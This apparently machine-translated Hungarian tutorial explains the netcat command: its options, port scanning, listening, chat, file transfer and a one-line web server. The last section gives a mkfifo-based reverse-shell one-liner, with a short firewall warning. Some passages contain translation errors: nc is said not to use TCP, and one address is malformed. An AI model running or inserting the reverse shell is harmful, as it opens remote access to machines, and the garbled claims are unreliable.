A netcat parancs a TCP és UDP protokollok használatával történő adatküldéshez és -fogadáshoz szükséges. Nem rendelkezik nagyszámú funkcióval, de elegendő a kapcsolat ellenőrzéséhez és az egyszerű hibakereséshez. Hogyan lehet TCP protokollon keresztül kommunikálni? Ezt a kérdést sok felhasználó teszi fel. Ebben a cikkben válaszolunk erre a kérdésre, és példákat is mutatunk a parancs valós alkalmazására.
A netcat (vagy nc) parancs egy hatékony eszköz a hálózati kapcsolatokkal való munkához. A rendszergazdák és a fejlesztők gyakran használják különböző feladatokra. Íme a netcat főbb funkciói és jellemzői:
A netcat egy sokoldalú eszköz, amely az egyszerű üzenetküldéstől az összetett hálózati műveletekig sokféle forgatókönyvben használható.
Kezdjük a szintaxis és a legnépszerűbbek áttekintésével:
-6 - IPv6 protokoll használata. Az alapértelmezett a -4 és az IPv4, illetve az IPv4;-h - súgó megjelenítése az elérhető paraméterek listájával;-i - delay - késleltetés - késleltetés hozzáadása a karakterláncok küldése vagy a portok letapogatása között. Ez másodpercekben van beállítva;-l - figyelési mód. Portmeghatározással együtt használatos;-N - a kapcsolat lezárása, amikor a fájl küldésekor elérjük a fájl végét;-n - közvetlenül IP-címekkel dolgozik DNS nélkül, a portok letapogatását is kikapcsolja;-P - user_name - a proxyhoz való csatlakozáshoz szükséges felhasználónév megadása;-x - address:port - adja meg a proxyhoz való csatlakozás címét és portját;-p - port - a port számának megadása. A legtöbb esetben a port a paraméter megadása nélkül is beolvasásra kerül;-U - UNIX tartományi aljzat használata (a folyamatok közötti kommunikációhoz);-u - UDP protokoll használata, alapértelmezés szerint TCP protokollt használ;-v - részletes üzemmód. Szkenneléskor használatos;-W number_packets - bizonyos számú csomag fogadása után lezárja a kapcsolatot;-w timer - időzítő engedélyezése a kapcsolat időtartamának korlátozására. Másodpercben van beállítva;-z - letiltja az adatküldést. A beolvasás során használatos.A parancs a következő formájú (paraméterek portcím):
$ nc
A következőkben elmondjuk, hogyan kell használni a parancsot.
Az ellenőrzés a netcat fő felhasználási területe. Két paramétert kell használni -vz, meg kell adni a címet és a portot. Megadhat egy címtartományt is, de ebben az esetben jobb, ha csak a nyitott portokat szűri ki agrep paranccsal. Vizsgáljuk át a helyi hálózati cím portjait:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Ugyanígy vizsgáljuk át az UDP portokat is a -u paraméter hozzáadásával:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
A TCP és az UDP közötti fő különbséget ismernie kell. Tehát az UDP portok mindig rendelkezésre állnak.
A -l paraméter a port meghallgatására szolgál. Ez gyakran elég, de engedélyezheti a részletes módot:
$ nc -nlv 8080

Ne feledje, hogy a TCP protokoll használatakor a portnak szabadnak kell lennie, különben megjelenik a Már használatban van hiba. Nem minden portot használhatnak a normál felhasználók, például a 80-as portot (HTTP), valószínűleg egy másik folyamat foglalja le, és szuperfelhasználói jogokat igényel.
A parancs hasznos képessége az adatcsere. Egy egyszerű példa erre egy szöveges csevegőszoba. Ahhoz, hogy az egyik számítógépen csevegést indítsunk, futtassuk a segédprogramot port figyelő üzemmódban:
$ nc -lp 8080
A másik számítógépen meg kell adnia az első számítógép címét és ugyanazt a portot. Azt se felejtse el ellenőrizni, hogy a port nyitva van-e:
$ nc 0.0.0.0 8080

Így képes lesz üzeneteket küldeni és fogadni. Vagyis a parancs fájlcserére szolgál. Az elv ugyanaz, azzal a különbséggel, hogy a kimenetet egy fájlba, nevezetesen a paste.txt fájlba kell átirányítani:
$ nc -l 8080 > paste.txt
A másik számítógépen a copy.txt fájl szolgál majd bemenetként. Nem felesleges az -N paramétert használni a kapcsolat lezárására a fájlátvitel után:
$ nc -N 0.0.0.0 8080 < copy.txt
A fájlátvitelnél fontos a sorrend betartása, először a hallgatás megnyitása és csak utána a fájl elküldése. Az nc parancs egy működő, de messze nem a legjobb módja a fájlok átvitelének. Vannak hatékonyabb és hasznosabb eszközök is erre a feladatra.
Mivel az NC parancs nem a TCP protokollal működik, lehetővé teszi a HTTP-kérések küldését és fogadását is. Ennélfogva a segédprogram egyszerű webszerverré válhat. Igen, egy üres oldalnál trükkösebb dolgot nem lehet így csinálni, de a művelet szinte semmi időt nem vesz igénybe, és az a plusz, hogy nem kell semmi pluszt telepíteni.
A példa űrlapon HTTP-válasz az index.html fájlra . Ha már magáról az np-ről beszélünk, érdemes a -w 1 paraméterrel beállítani egy időzítőt, ami megszakítja a kapcsolatot, ha a böngésző nem teszi:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Ha adatokat szeretne kapni egy weboldalról, akkor kérést formálhat, és elküldheti a tanácsolt címre és portra. Ez az út azonban elég bonyolult, jobb, ha a megfelelő CURL parancsot használjuk.
A fent tárgyalt példák alapján nem lesz nehéz megállapítani, hogy a parancs lehetővé teszi a számítógép héjához való távoli hozzáférés megszervezését. Korábban az NC segédprogramnak több paramétere volt a terminálhoz való hozzáférés megnyitásához. A -e paramétert már régen eltávolították a segédprogramból, így a terminálhoz való egyszerű hozzáférés többé nem lesz lehetséges. Magának az alkalmazásnak a biztonsága magasabb lett, de továbbra is működhet másokkal együtt.
Mutassuk meg a kapcsolatot az mkfifo nevű csatorna használatával. Először is kezdjük el hallgatni azt a portot a PC-n, ahová hozzáférést kapunk:
$ nc -lvnp 8080
Menjünk közvetlenül a terminál megnyitására szolgáló parancsra. Először töröljük a régi nevesített csatornát(rm /tmp/f), hozzunk létre helyette egy újat(mkfifo /tmp/f), olvassuk be a tartalmát(cat /tmp/f) és küldjünk egy shell parancsot a kimenetére(sh -i 2>&1). Ezután már csak az nc futtatása van hátra a kimenettel a megnevezett csatornánkra(nc 0.0.0.0.0.0 8080 >/tmp/f):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Tartsuk szem előtt, hogy ez a hackelés egyik módja, azonban hasznos lehet, ha az ssh-val problémák adódnak. A támadás megakadályozása érdekében konfiguráljon biztonsági házirendet és tűzfalat.